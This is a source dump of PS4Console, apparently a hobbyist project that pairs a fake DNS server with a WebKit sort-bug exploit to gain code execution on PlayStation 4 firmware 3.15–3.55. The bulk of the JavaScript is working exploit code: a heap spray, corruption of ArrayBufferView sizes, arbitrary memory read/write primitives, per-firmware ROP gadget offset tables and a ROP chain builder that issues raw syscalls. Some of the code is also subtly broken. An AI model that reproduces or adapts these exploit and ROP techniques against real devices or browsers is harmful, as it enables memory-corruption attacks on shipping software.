├── .gitignore ├── Dumps ├── Modules │ ├── .gitignore │ ├── libSceSysCore.bin │ ├── libSceSysmodule.bin │ └── libSceSystemService.bin └── Files │ ├── WebProcess.self │ └── libSceAvSetting.sprx ├── dns.conf ├── scripts ├── js_utils.js ├── network_utils.js ├── utils.js ├── mem_utils.js ├── gadgets.js ├── exploit_new.js ├── rop.js ├── long.js └── jquery.min.js ├── README.md ├── pages ├── getpid.html ├── runpoc.html ├── sysinfo.html ├── dump-file.html ├── dump-module.html └── ls.html ├── ps4console.py └── fakedns.py /.gitignore: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Dumps/Modules/.gitignore: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /dns.conf: -------------------------------------------------------------------------------- 1 | A manuals.playstation.net 192.168.0.10 -------------------------------------------------------------------------------- /Dumps/Files/WebProcess.self: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cryptogenic/PS4Console/HEAD/Dumps/Files/WebProcess.self -------------------------------------------------------------------------------- /Dumps/Files/libSceAvSetting.sprx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cryptogenic/PS4Console/HEAD/Dumps/Files/libSceAvSetting.sprx -------------------------------------------------------------------------------- /Dumps/Modules/libSceSysCore.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cryptogenic/PS4Console/HEAD/Dumps/Modules/libSceSysCore.bin -------------------------------------------------------------------------------- /Dumps/Modules/libSceSysmodule.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cryptogenic/PS4Console/HEAD/Dumps/Modules/libSceSysmodule.bin -------------------------------------------------------------------------------- /Dumps/Modules/libSceSystemService.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cryptogenic/PS4Console/HEAD/Dumps/Modules/libSceSystemService.bin -------------------------------------------------------------------------------- /scripts/js_utils.js: -------------------------------------------------------------------------------- 1 | _dview = null; 2 | 3 | function u2d(low, hi) { 4 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 5 | _dview.setUint32(0, hi); 6 | _dview.setUint32(4, low); 7 | return _dview.getFloat64(0); 8 | } 9 | 10 | function d2u(d) { 11 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 12 | _dview.setFloat64(0, d); 13 | return { 14 | low: _dview.getUint32(4), 15 | hi: _dview.getUint32(0) 16 | }; 17 | } 18 | 19 | function debug_log(msg) { 20 | $.ajax({ 21 | url: '/debug/log/', 22 | type: 'POST', 23 | contentType: 'text/html', 24 | data: msg, 25 | processData: false, 26 | async: false 27 | }); 28 | } 29 | 30 | function debug_bin(bin, name) { 31 | $.ajax({ 32 | url: '/debug/bin/' + name, 33 | type: 'POST', 34 | contentType: 'application/octet-stream', 35 | data: bin, 36 | processData: false, 37 | async: false 38 | }); 39 | } 40 | -------------------------------------------------------------------------------- /scripts/network_utils.js: -------------------------------------------------------------------------------- 1 | var AF_INET = 2 2 | var SOCK_STREAM = 1 3 | 4 | function socket() { 5 | var r = new RopChain() 6 | var ret = storage.alloc(0x4) 7 | r.syscall(97, AF_INET, SOCK_STREAM, 0) 8 | r.add('pop rdi') 9 | r.add(ret) 10 | r.add('mov qword ptr [rdi], rax') 11 | r.execute() 12 | var ret = read32(ret) 13 | storage.free(0x4) 14 | return ret 15 | } 16 | 17 | function connect_helper(fd, ip, port) { 18 | var c = new Uint32Array(0x10); 19 | var nums = ip.split('.') 20 | for (var i = 0; i < 4; i++) 21 | nums[i] = parseInt(nums[i]) 22 | c[0] |= ((port >> 0x8) & 0xFF) << 0x10 | (port) << 0x18 23 | c[0] |= 0x2 << 0x8 24 | c[1] = nums[3] << 24 | nums[2] << 16 | nums[1] << 8 | nums[0] 25 | var r = new RopChain() 26 | var ret = storage.alloc(0x4) 27 | var sock_addr_buf = storage.alloc(0x10) 28 | write_data(sock_addr_buf, c) 29 | r.syscall(98, fd, sock_addr_buf, 0x10) 30 | r.add('pop rdi') 31 | r.add(ret) 32 | r.add('mov qword ptr [rdi], rax') 33 | r.execute() 34 | var ret = read32(ret) 35 | storage.free(0x10 + 0x4) 36 | return ret; 37 | 38 | } 39 | 40 | function write(fd, addr, len) { 41 | var r = new RopChain() 42 | var ret = storage.alloc(0x4) 43 | r.syscall(4, fd, addr, len); 44 | r.add('pop rdi') 45 | r.add(ret) 46 | r.add('mov qword ptr [rdi], rax') 47 | r.execute() 48 | var ret = read32(ret) 49 | storage.free(0x4) 50 | return ret; 51 | } 52 | -------------------------------------------------------------------------------- /scripts/utils.js: -------------------------------------------------------------------------------- 1 | function debug_log(msg) 2 | { 3 | $.ajax({ 4 | url: '/debug/log/', 5 | type: 'POST', 6 | contentType: 'text/html', 7 | data: msg, 8 | processData: false, 9 | async: false 10 | }); 11 | } 12 | 13 | function debug_bin(bin) 14 | { 15 | $.ajax({ 16 | url: '/debug/bin/', 17 | type: 'POST', 18 | contentType: 'application/octet-stream', 19 | data: bin, 20 | processData: false, 21 | async: false 22 | }); 23 | } 24 | 25 | function read_str(buf,index) 26 | { 27 | ret = '' 28 | while(true) 29 | { 30 | dword = buf[index] 31 | c1 = dword % 256 32 | c2 = (dword >> 8) % 256 33 | c3 = (dword >> 16) % 256 34 | c4 = (dword >> 24) % 256 35 | if(c1 == 0) 36 | break; 37 | ret += String.fromCharCode(c1) 38 | if(c2 == 0) 39 | break; 40 | ret += String.fromCharCode(c2) 41 | if(c3 == 0) 42 | break; 43 | ret += String.fromCharCode(c3) 44 | if(c4 == 0) 45 | break; 46 | ret += String.fromCharCode(c4) 47 | index+=1; 48 | } 49 | return ret; 50 | } 51 | 52 | function write_str(buf,index,str) 53 | { 54 | for(var i = 0; i < str.length; i+= 4) 55 | { 56 | c1 = str.charCodeAt(i); 57 | c2 = str.charCodeAt(i + 1) 58 | c3 = str.charCodeAt(i + 2) 59 | c4 = str.charCodeAt(i + 3) 60 | buf[index + i/4] = c4 << 24 61 | buf[index + i/4] |= c3 << 16 62 | buf[index + i/4] |= c2 << 8 63 | buf[index + i/4] |= c1 64 | } 65 | } 66 | 67 | function read8(addr) 68 | { 69 | var old_low = cbuf[0x14] 70 | var old_high = cbuf[0x15] 71 | cbuf[0x14] = addr.getLowBitsUnsigned() 72 | cbuf[0x15] = addr.getHighBitsUnsigned() 73 | var ret = new dcodeIO.Long(rop_buf[0],rop_buf[1],true) 74 | cbuf[0x14] = old_low 75 | cbuf[0x15] = old_high 76 | return ret; 77 | } 78 | 79 | -------------------------------------------------------------------------------- /scripts/mem_utils.js: -------------------------------------------------------------------------------- 1 | function read64(addr) { 2 | var old_low = cbuf[0x14] 3 | var old_high = cbuf[0x15] 4 | cbuf[0x14] = addr.getLowBitsUnsigned() 5 | cbuf[0x15] = addr.getHighBitsUnsigned() 6 | var ret = new dcodeIO.Long(rop_buf[0], rop_buf[1], true) 7 | cbuf[0x14] = old_low 8 | cbuf[0x15] = old_high 9 | return ret; 10 | } 11 | 12 | function read32(addr) { 13 | return read64(addr).getLowBitsUnsigned() 14 | } 15 | 16 | function read16(addr) { 17 | return read32(addr) & 0xFFFF; 18 | } 19 | 20 | function read8(addr) { 21 | return read32(addr) & 0xFF; 22 | } 23 | 24 | function read_str(addr) { 25 | ret = '' 26 | var c = read8(addr) 27 | while (c != 0) { 28 | ret = ret.concat(String.fromCharCode(c)) 29 | addr = addr.add(0x1) 30 | c = read8(addr) 31 | } 32 | return ret; 33 | } 34 | 35 | function read_data(addr, len) { 36 | var ret = new Uint32Array(len / 4); 37 | for (var i = 0; i < len / 4; i++) { 38 | ret[i] = read32(addr.add(i * 4)) 39 | } 40 | return ret; 41 | } 42 | 43 | function read_data8(addr, size) { 44 | var v = new Uint8Array(size); 45 | for(var i = 0; i < size; i++) { 46 | v[i] = read8(addr + i) 47 | } 48 | return v; 49 | } 50 | 51 | 52 | function write8(addr, val) { 53 | var old_low = cbuf[0x14] 54 | var old_high = cbuf[0x15] 55 | cbuf[0x14] = addr.getLowBitsUnsigned() 56 | cbuf[0x15] = addr.getHighBitsUnsigned() 57 | rop_buf[0] = (rop_buf & ~0xF) | (val & 0xFF) 58 | cbuf[0x14] = old_low 59 | cbuf[0x15] = old_high 60 | } 61 | 62 | function write16(addr, val) { 63 | write8(addr, val & 0xFF) 64 | write8(addr.add(0x1), (val >> 8) & 0xFF) 65 | } 66 | 67 | function write32(addr, val) { 68 | write16(addr, val & 0xFFFF); 69 | write16(addr.add(0x2), (val >> 0x10) & 0xFFFF) 70 | } 71 | 72 | function write64(addr, val) { 73 | write32(addr, val.getLowBitsUnsigned()) 74 | write32(addr.add(0x4), val.getHighBitsUnsigned()) 75 | } 76 | 77 | function write_str(addr, str) { 78 | for (var i = 0; i < str.length; i++) { 79 | write8(addr.add(i), str.charCodeAt(i)) 80 | } 81 | } 82 | 83 | function write_data(addr, u32array) { 84 | for (var i = 0; i < u32array.length; i++) { 85 | write32(addr.add(i * 4), u32array[i]) 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /scripts/gadgets.js: -------------------------------------------------------------------------------- 1 | gadgetMap = { 2 | 'PlayStation 4 3.55': { 3 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(VTABLE, -0x18a353f), 4 | 'pop rcx; pop rcx': new gadget(VTABLE, -0x5e970c), 5 | 'pop rcx': new gadget(VTABLE, -0xab7d4c), 6 | 'add dword ptr [rax - 0x77], ecx': new gadget(VTABLE, -0x18c3d40), 7 | 'pop rdi': new gadget(VTABLE, -0x11d1d76), 8 | 'mov qword ptr [rdi], rax': new gadget(VTABLE, -0x2372c99), 9 | 'pop rsi': new gadget(VTABLE, -0x88d954), 10 | 'pop rdx': new gadget(VTABLE, -0xac2f8e), 11 | 'pop rax': new gadget(VTABLE, -0x5e9bfd), 12 | 'syscall': new gadget(VTABLE, -0x3dc1a6), 13 | 'pop rsp': new gadget(VTABLE, -0x1abc011), 14 | 'mov rax, qword ptr [rax]': new gadget(VTABLE, -0x238e98d), 15 | 'pop r8': new gadget(VTABLE, -0x15ca007), 16 | 'pop r9': new gadget(VTABLE, -0x17202f1), 17 | }, 18 | 'PlayStation 4 3.50': { 19 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(LIBWEBKIT, 0xd5d771, [0x48, 0x94, 0xFF, 0x48, 0x89]), 20 | 'pop rcx; pop rcx': new gadget(LIBWEBKIT, 0x2017594, [0x59, 0x59]), 21 | 'pop rcx': new gadget(LIBWEBKIT, 0x3ca9fd, [0x59]), 22 | 'add dword ptr [rax - 0x77], ecx': new gadget(LIBWEBKIT, 0x55ac, [0x01, 0x48, 0x89]), 23 | 'pop rdi': new gadget(LIBWEBKIT, 0x113991, [0x5f]), 24 | 'mov qword ptr [rdi], rax': new gadget(LIBWEBKIT, 0x11fc37, [0x48, 0x89, 0x07]), 25 | 'pop rsi': new gadget(LIBWEBKIT, 0xb9ebb, [0x5E]), 26 | 'pop rdx': new gadget(LIBWEBKIT, 0x1afa, [0x5A]), 27 | 'pop rax': new gadget(LIBWEBKIT, 0x1c6ab, [0x58]), 28 | 'syscall': new gadget(LIBWEBKIT, 0x1ca1b28, [0x0F, 0x05]), 29 | 'pop rsp': new gadget(LIBWEBKIT, 0x376850, [0x5C]), 30 | 'mov rax, qword ptr [rax]': new gadget(LIBWEBKIT, 0x4add2, [0x48, 0x8B, 0x00]), 31 | 'pop r8': new gadget(LIBWEBKIT, 0x4c12ed, [0x41, 0x58]), 32 | 'pop r9': new gadget(LIBWEBKIT, 0xee09bf, [0x47, 0x59]) // note: this is actually "rex.RXB pop r9" 33 | }, 34 | 'PlayStation 4 3.15': { 35 | 'xchg rax, rsp; dec dword ptr [rax - 0x77]': new gadget(VTABLE, 0x00148dfb - ((0x50000 * 4) * 26), [0x48, 0x94, 0xFF, 0x48, 0x89]), 36 | 'pop rcx; pop rcx': new gadget(VTABLE, 0x0016c49c - (((0x50000 * 4) * 26) - (1572864 * (10 + 6))), [0x59, 0x59]), 37 | 'pop rcx': new gadget(VTABLE, 0x0007662b - ((0x50000 * 4) * 26), [0x59]), 38 | 'add dword ptr [rax - 0x77], ecx': new gadget(VTABLE, 0x00001279 - ((0x50000 * 4) * 26), [0x01, 0x48, 0x89]), 39 | 'pop rdi': new gadget(VTABLE, 0x000c7cdc - ((0x50000 * 4) * 26), [0x5f]), 40 | 'mov qword ptr [rdi], rax': new gadget(VTABLE, 0x0000181f - ((0x40000 * 4) * 26), [0x48, 0x89, 0x07]), 41 | 'pop rsi': new gadget(VTABLE, 0x000a08c6 - ((0x50000 * 4) * 26), [0x5E]), 42 | 'pop rdx': new gadget(VTABLE, 0x0000832b - ((0x40000 * 4) * 26), [0x5A]), 43 | 'pop rax': new gadget(VTABLE, 0x0002ea47 - ((0x50000 * 4) * 26), [0x58]), 44 | 'syscall': new gadget(LIBWEBKIT, 0x000777b0 + 1572864 * 18, [0x0F, 0x05]), 45 | 'pop rsp': new gadget(VTABLE, 0x00029f5d - ((0x50000 * 4) * 26), [0x5C]), 46 | 'mov rax, qword ptr [rax]': new gadget(VTABLE, 0x00064214 - ((0x50000 * 4) * 26), [0x48, 0x8B, 0x00]), 47 | 'pop r8': new gadget(LIBWEBKIT, 0x0008c9b6, [0x47, 0x58]), 48 | 'pop r9': new gadget(LIBWEBKIT, 0x0012f5b7 + 1572864 * 6, [0x47, 0x59]), 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PS4Console 2 | PS4Console is a project that is meant to be a successor of the PS4 Playground for 3.55. It is a python-based program that can be run on any Linux/Windows/Mac system and allows you to interface with the PlayStation 4 with the 3.55 exploit. The program simulates a terminal-like environment that allows you to send commands to the exploit being ran on the PS4, almost as if you were in the terminal. The program automatically runs fakedns.py when it is initiated, so using the User Guide would be the quickest and easiest way to use PS4Console. 3 | 4 | # PS4Console vs PS4-Playground 3.55 5 | Many may wonder what the difference is and why I'd start this new project. The reason is, PS4 Playground is a fun project to use through your web browser if you wish not to use the computer other than hosting the server, but it was very unstable and not much could be done with it as the exploit would destabalize WebKit, which PS4 Playground needs to operate. 6 | 7 | PS4Console is an idea that allows you to interact with the PS4 in a terminal-like design and send commands to it. The WebKit process will always crash, but information is printed/modules are dumped in the terminal, so WebKit being unstable isn't a big issue. This should allow us to do more in the future, such as have a much more stable file browser and such. 8 | 9 | # Usage 10 | You can run PS4Console in your command-prompt or terminal via the following command (Python 2.7): 11 | 12 | ``` 13 | python ps4console.py 14 | ``` 15 | 16 | Ensure you're not running any processes on port 80 such as Apache, as PS4Console uses this port to operate. You must also setup your dns.conf file for fakedns.py and point your PS4's DNS setting to your computer's IP address (can be found via ipconfig on windows or ifconfig on linux/mac). 17 | 18 | # Latest Version 19 | The latest version is 1.0. Module dumping has been partially implemented, as well as module information and PID fetching. More commands will be implemented in the near future, as well as completed module dumping capability. 20 | 21 | # Notes 22 | The exploit will not run correctly all of the time. If it doesn't work, just keep trying until it does, it shouldn't take long. 23 | 24 | --- 25 | 26 | Many are seeing a blank screen on their PS4 and they're thinking something is wrong. This is completely fine and expected, as long as the '>' appears in the terminal/command prompt on ps4console.py, you are good to run commands. The pages ps4console serves does not have any markup for styling. If you cannot get the '>' to appear, just refresh the page on the PS4 or press "OK" if you have a segmentation fault (not enough memory prompt). 27 | 28 | --- 29 | 30 | Module dumping is still not completely supported. Only most of the modules loaded by WebKit are currently supported, WebKit has not been included in v1.0 as I want to clean up how it works a bit more before that (it's a little inefficient at the moment). 31 | 32 | --- 33 | 34 | If you're on a linux system, you may need root permissions to run PS4Console on port 80, so you may need to run it via: 35 | ``` 36 | sudo python ps4console.py 37 | ``` 38 | 39 | Even after shutting down the program via shutdown command (this actually won't seem to occur if you use ctrl + c), the service will still run on port 53/port 80. To fix this, you can use the following command for Linux: 40 | ``` 41 | sudo kill `sudo lsof -t -i:80` 42 | sudo kill `sudo lsof -t -i:53` 43 | ``` 44 | 45 | Similarily, if you run into this problem on Windows, you can use the following commands: 46 | ``` 47 | netstat -o -n -a | findstr 0.0:3000 48 | ``` 49 | 50 | This will return something like TCP 0.0.0.0:3000 0.0.0.0:0 LISTENING [PID], using the PID given, run: 51 | ``` 52 | taskkill /F /PID [PID FROM ABOVE COMMAND] 53 | ``` 54 | 55 | I will soon implement a fix for this. 56 | 57 | # Documentation 58 | Documentation is currently not existant for PS4Console, however it will be implemented in a future commit. 59 | 60 | # Special Thanks To 61 | Fire30 - The porting of the WebKit Exploit to PS4, as well as assistance 62 | 63 | Xerpi - Functions in his POC edit that I ported over (these functions made things way easier and more efficient) 64 | 65 | XYZ - The original exploit for PSVita 3.60 66 | 67 | CTurt - Research done with 1.76 68 | 69 | XorLoser - File sizes and headers for dumping modules 70 | 71 | Maxton - Assistance in development 72 | 73 | Red-EyeX32 - Assistance in development 74 | 75 | 76 | 77 | -------------------------------------------------------------------------------- /scripts/exploit_new.js: -------------------------------------------------------------------------------- 1 | /* 2 | This code is based off of Fire30's 3.55 Exploit POC. I have rewritten it so it's a bit cleaner and such. Support for 3.50 has also been added thanks to Maxton! 3 | 4 | I did this mostly for personal learning, so I'm gonna do some comments in the code of how the exploit works to help others as well as myself. If I have stated 5 | anything that may be incorrect, don't hesitate to let me know so I can fix it! 6 | */ 7 | 8 | // These variables are used for making the buffer point to ArrayBufferView (get more info @ irc) 9 | var arrayBufferViewStartOffset; 10 | var arrayBufferViewOffsetOne; 11 | var arrayBufferViewOffsetTwo; 12 | var arrayBufferViewIndex; 13 | var arrayBufferAddress; 14 | 15 | // Necessary buffers for exploiting the sort bug 16 | var sortBugHeart; 17 | var sortBugFiller; 18 | 19 | // Used to store the object size for arrays used in sort bug 20 | var heartObjectSize; 21 | 22 | // Holds length for the heart of the exploit as well as the filler 23 | var maxLenHeart; 24 | var maxLenFiller; 25 | 26 | // Holds arrays such as the ArrayBufferView at index 1 27 | var arraysBuffer; 28 | var stackBuffer; // ask about this one, used to be cbuf 29 | var u32Buffer; // Pretty sure this is used for finding the next ArrayBufferView for executing ROP in 30 | var u32Ptr; // Pointer to the u32array we create 31 | 32 | // Holds the pointer to the virtual address table as well as the libSceWebKit2.sprx module base 33 | var webKitBaseAddress; 34 | var vtablePtr; 35 | 36 | // Used for spraying the heap 37 | var spray; 38 | 39 | // Also used for exploit entry 40 | var o = {}; 41 | 42 | maxLenHeart = 0x3000; 43 | maxLenFiller = 0x800; 44 | 45 | // Used for wrapping (or unwrapping) values to/from double precision 46 | _dview = null; 47 | 48 | function u2d(low,hi) { 49 | if (!_dview) 50 | _dview = new DataView(new ArrayBuffer(16)); 51 | _dview.setUint32(0,hi); 52 | _dview.setUint32(4,low); 53 | return _dview.getFloat64(0); 54 | } 55 | 56 | function d2u(d) { 57 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 58 | _dview.setFloat64(0,d); 59 | return { 60 | low: _dview.getUint32(4), 61 | hi: _dview.getUint32(0) 62 | }; 63 | } 64 | 65 | function exploitEntryPoint(runRopBool) 66 | { 67 | // Perform a heap spray 68 | spray = new Array(0x1000); 69 | 70 | for(var i = 0; i < spray.length; i++) 71 | spray[i] = new Uint32Array(0x1A7); 72 | 73 | heart = Array.prototype.constructor.apply(null, new Array(maxLenHeart)); 74 | filler = new Array(maxLenFiller); 75 | arrays = new Array(4); // Only need to store 4 arrays 76 | 77 | // Setup the exploit 78 | 79 | o.toString = function() 80 | { 81 | heart.push(0x3039); 82 | 83 | for(var i = 0; i < arrays.length; ++i) 84 | { 85 | var array = Array.prototype.constructor.apply(null, filler); 86 | 87 | array[0] = 0; 88 | array[1] = 1; 89 | array[2] = 2; 90 | 91 | arrays[i] = array; 92 | } 93 | } 94 | 95 | // Execute exploit 96 | 97 | heart[0] = o; 98 | 99 | heartObjectSize = u2d(0x80000000, 0x80000000); 100 | 101 | for(var i = 1; i < heart.length; ++i) 102 | heart[i] = heartObjectSize; 103 | 104 | heart.sort(); // We have our entry point 105 | 106 | o.toString = function() {}; // Don't need this function anymore 107 | 108 | // Set up the buffer with NOP Sled for overflow 109 | 110 | u32Buffer = new Array(0x100); 111 | 112 | for(var i = 0; i < 0x100; i++) 113 | { 114 | var newBuff = new Uint32Array(0x13AC); 115 | 116 | for(var j = 0; j < v.length; j++) 117 | { 118 | // Change all odd sections to 0x90909090 (NOP Sled, if we hit one of these, we're good) 119 | if(j % 2 == 1) 120 | v[j] = 0x90909090; 121 | else 122 | v[j] = j; 123 | } 124 | 125 | u32Buffer[i] = newBuff; 126 | } 127 | 128 | // Modify ArrayBufferView size and point to the next ArrayBufferView for ROP 129 | 130 | arrayBufferView = arrays[1]; 131 | 132 | arrayBufferViewStartOffset = 0x2F000; 133 | 134 | arrayBufferViewOffsetOne = d2u(arrayBufferView[(arrayBufferViewStartOffset) + 0x600 + (0xA00 * -40)]).low; 135 | arrayBufferViewOffsetTwo = d2u(arrayBufferView[(arrayBufferViewStartOffset) + 0x600 + (0xA00 * 30)]).low; 136 | 137 | index = 0; 138 | 139 | // Afterwards we will print out indexes so we can make this more efficient, narrow down the entropy 140 | for(var i = 4; i < 100; i++) 141 | { 142 | var val = d2u(arrayBufferView[(arrayBufferViewStartOffset) + (0x3000 / 8) + ((0x5000 / 8) * i) - (arrayBufferViewOffsetOne / 2) - 1]).hi; 143 | 144 | if(val == 0xbadaeef7) 145 | { 146 | // Found the ArrayBufferView 147 | index = i; 148 | break; 149 | } 150 | } 151 | 152 | // Find an ArrayBufferView and modify it's size, also make it point to ArrayBuffer field 153 | 154 | arrayBufferView[(arrayBufferViewStartOffset) + (0x3000 / 8) + ((0x5000 / 8) * index) - (arrayBufferViewOffsetTwo / 2) + 7] = u2d(0x80000000, 0xbadbeef7); 155 | arrayBufferView[(arrayBufferViewStartOffset) + (0x3000 / 8) + ((0x5000 / 8) * index) - (arrayBufferViewOffsetTwo / 2) + 2] = arrayBufferView[(arrayBufferViewStartOffset) + (0x3000 / 8) + ((0x5000 / 8) * index) - (arrayBufferViewOffsetTwo / 2) + 4]; 156 | 157 | for(var i = 0; i < u32Buffer.length; i++) 158 | { 159 | // We've found an ArrayBufferView, modify it so it's larger (0x60000 * 4) and so it points to ArrayBufferViews 160 | if(u32Buffer[i].length != 0x13AC) 161 | { 162 | arrayBufferAddress = new dcodeIO.Long(u32Buffer[i][2], u32Buffer[i][3], true); 163 | u32Ptr = new dcodeIO.Long(u32Buffer[i][6], u32Buffer[i][7], true); 164 | u32Buffer[i][2] = u32Ptr.getLowBitsUnsigned(); 165 | u32Buffer[i][3] = u32Ptr.getHighBitsUnsigned(); 166 | u32Buffer[i][4] = (0x60000 * 4); 167 | break; 168 | } 169 | } 170 | 171 | // Find the modified ArrayBuffer and create our buffer to use from it 172 | for(var i = 0; i < u32Buffer[i].length; i++) 173 | { 174 | if(u32Buffer[i].buffer.byteLength != 0x4eb0) 175 | { 176 | stackBuffer = new Uint32Array(u32Buffer[i].buffer); 177 | break; 178 | } 179 | } 180 | 181 | vtablePtr = new dcodeIO.Long(stackBuffer[0], stackBuffer[1], true); 182 | webKitBaseAddress = vtableptr.sub(0x2600d80); // Offset from the virtual table 183 | 184 | // Unless we're planning on doing ROP, we can stop here safetly. 185 | if(!runRopBool) 186 | return; 187 | 188 | // Change size of next ArrayBufferView in memory for ROP 189 | 190 | } -------------------------------------------------------------------------------- /scripts/rop.js: -------------------------------------------------------------------------------- 1 | VTABLE = 0x0 2 | LIBWEBKIT = 0x1 3 | 4 | function Storage() { 5 | this.initial_addr = null; 6 | this.addr = null; 7 | 8 | this.set_initial_addr = function(addr) { 9 | this.initial_addr = addr; 10 | this.addr = this.initial_addr 11 | } 12 | 13 | this.alloc = function(size) { 14 | var ret = this.addr 15 | if (size % 8 == 0) { 16 | for (var i = 0; i < size; i += 8) { 17 | write64(this.addr.add(i), new dcodeIO.Long(0, 0)) 18 | } 19 | } else if (size % 4 == 0) { 20 | for (var i = 0; i < size; i += 4) { 21 | write32(this.addr.add(i), 0) 22 | } 23 | } else { 24 | for (var i = 0; i < size; i += 1) { 25 | write8(this.addr.add(i), 0) 26 | } 27 | } 28 | this.addr = this.addr.add(size) 29 | return ret; 30 | } 31 | 32 | this.free = function(size) { 33 | this.addr = this.addr.sub(size) 34 | } 35 | 36 | this.reset = function() { 37 | this.addr = this.initial_addr; 38 | } 39 | } 40 | 41 | function gadget(module, offset, machine) { 42 | this.addr = function() { 43 | return this.get_module_base().add(offset); 44 | } 45 | 46 | this.get_module_base = function() { 47 | if (module == VTABLE) 48 | return vtable_ptr; 49 | if (module == LIBWEBKIT) 50 | return webkit_base_addr; 51 | else return 0; 52 | } 53 | 54 | if (machine) { 55 | this.machine = machine; 56 | } 57 | } 58 | 59 | function check(ptr, array) { 60 | 61 | } 62 | 63 | function RopChain() { 64 | this.rop_chain = []; 65 | 66 | this.add = function(instr) { 67 | if (typeof(instr) === "string") { 68 | var gadget = gadgets[instr]; 69 | if (typeof(gadget) === 'undefined') { 70 | throw "Gadget " + instr + " was not found"; 71 | } 72 | if (typeof(gadget.machine) != "undefined") { 73 | var tmp = []; 74 | var valid = true; 75 | for (var i = 0; i < gadget.machine.length; i++) { 76 | if ((tmp[tmp.length] = read8(gadget.addr().add(i))) != gadget.machine[i]) valid = false; 77 | } 78 | var ret = read8(gadget.addr().add(gadget.machine.length)); 79 | if (ret != 0xc3) valid = false; 80 | if (!valid) { 81 | throw "Opcode invalid in " + instr + " got " + tmp.reduce(function(p, c) { 82 | return p + c.toString(16) + ' ' 83 | }, "") + ret.toString(16) 84 | } 85 | } 86 | this.rop_chain.push(gadget.addr().getLowBitsUnsigned()) 87 | this.rop_chain.push(gadget.addr().getHighBitsUnsigned()) 88 | } 89 | // If we are only writing a 32bit integer, makes it easier 90 | else if (typeof(instr) === "number") { 91 | this.rop_chain.push(instr) 92 | this.rop_chain.push(0) 93 | } else { 94 | this.rop_chain.push(instr.getLowBitsUnsigned()) 95 | this.rop_chain.push(instr.getHighBitsUnsigned()) 96 | } 97 | } 98 | 99 | this.syscall = function(num, arg1, arg2, arg3, arg4, arg5, arg6) { 100 | this.add("pop rax"); 101 | this.add(num) 102 | this.add("pop rdi"); 103 | this.add(typeof(arg1) !== "undefined" ? arg1 : 0) 104 | this.add("pop rsi"); 105 | this.add(typeof(arg2) !== "undefined" ? arg2 : 0) 106 | this.add("pop rdx"); 107 | this.add(typeof(arg3) !== "undefined" ? arg3 : 0) 108 | this.add("pop rcx"); 109 | this.add(typeof(arg4) !== "undefined" ? arg4 : 0) 110 | this.add("pop r8"); 111 | this.add(typeof(arg5) !== "undefined" ? arg5 : 0) 112 | this.add("pop r9"); 113 | this.add(typeof(arg6) !== "undefined" ? arg6 : 0) 114 | this.add("syscall") 115 | } 116 | 117 | // credits to CTurt 118 | this.call = function(address, arg1, arg2, arg3, arg4, arg5, arg6) { 119 | this.add("pop rdi"); 120 | this.add(typeof(arg1) !== "undefined" ? arg1 : 0) 121 | this.add("pop rsi"); 122 | this.add(typeof(arg2) !== "undefined" ? arg2 : 0) 123 | this.add("pop rdx"); 124 | this.add(typeof(arg3) !== "undefined" ? arg3 : 0) 125 | this.add("pop rcx"); 126 | this.add(typeof(arg4) !== "undefined" ? arg4 : 0) 127 | this.add("pop r8"); 128 | this.add(typeof(arg5) !== "undefined" ? arg5 : 0) 129 | this.add("pop r9"); 130 | this.add(typeof(arg6) !== "undefined" ? arg6 : 0) 131 | 132 | this.rop_chain.push(address.getLowBitsUnsigned()); 133 | this.rop_chain.push(address.getHighBitsUnsigned()); 134 | } 135 | 136 | this.execute = function() { 137 | var xchg = gadgets['xchg rax, rsp; dec dword ptr [rax - 0x77]']; 138 | rop_buf[2] = xchg.addr().getLowBitsUnsigned() 139 | rop_buf[3] = xchg.addr().getHighBitsUnsigned() 140 | 141 | var poprcxx2 = gadgets['pop rcx; pop rcx']; 142 | rop_buf[0] = poprcxx2.addr().getLowBitsUnsigned() 143 | rop_buf[1] = poprcxx2.addr().getHighBitsUnsigned() 144 | 145 | // Code to restore the stack pointer 146 | this.add('pop rax') 147 | this.add(this.store_rsp_addr) 148 | this.add('mov rax, qword ptr [rax]') 149 | this.add('pop rdi') 150 | addr = new dcodeIO.Long(cbuf[0x14], cbuf[0x15], true).add(4 * (this.rop_chain.length + 0x6 + 0x6)); 151 | this.add(addr) 152 | this.add('mov qword ptr [rdi], rax') 153 | this.add('pop rsp') 154 | 155 | // Actually write the chain to the buffer 156 | for (var i = 0; i < this.rop_chain.length; i++) { 157 | rop_buf[0x6 + i] = this.rop_chain[i] 158 | } 159 | // Make the vtable call 160 | old_low = cbuf[0x10] 161 | old_high = cbuf[0x11] 162 | cbuf[0x10] = cbuf[0x14] 163 | cbuf[0x11] = cbuf[0x15] 164 | rop_buf.byteLength; 165 | cbuf[0x10] = old_low 166 | cbuf[0x11] = old_high 167 | } 168 | 169 | // Code to cleanup the modification done by by the stack pivot 170 | // and to store the original stack pointer 171 | // We are going to store it right below the user storage address 172 | this.store_rsp_addr = storage.initial_addr.sub(0x8) 173 | this.add('pop rcx') 174 | this.add(1) 175 | this.add('add dword ptr [rax - 0x77], ecx') 176 | this.add('pop rdi') 177 | this.add(this.store_rsp_addr); 178 | this.add('mov qword ptr [rdi], rax') 179 | } 180 | -------------------------------------------------------------------------------- /pages/getpid.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 185 | -------------------------------------------------------------------------------- /pages/runpoc.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 179 | 180 | -------------------------------------------------------------------------------- /scripts/long.js: -------------------------------------------------------------------------------- 1 | /* 2 | long.js (c) 2013 Daniel Wirtz 3 | Released under the Apache License, Version 2.0 4 | see: 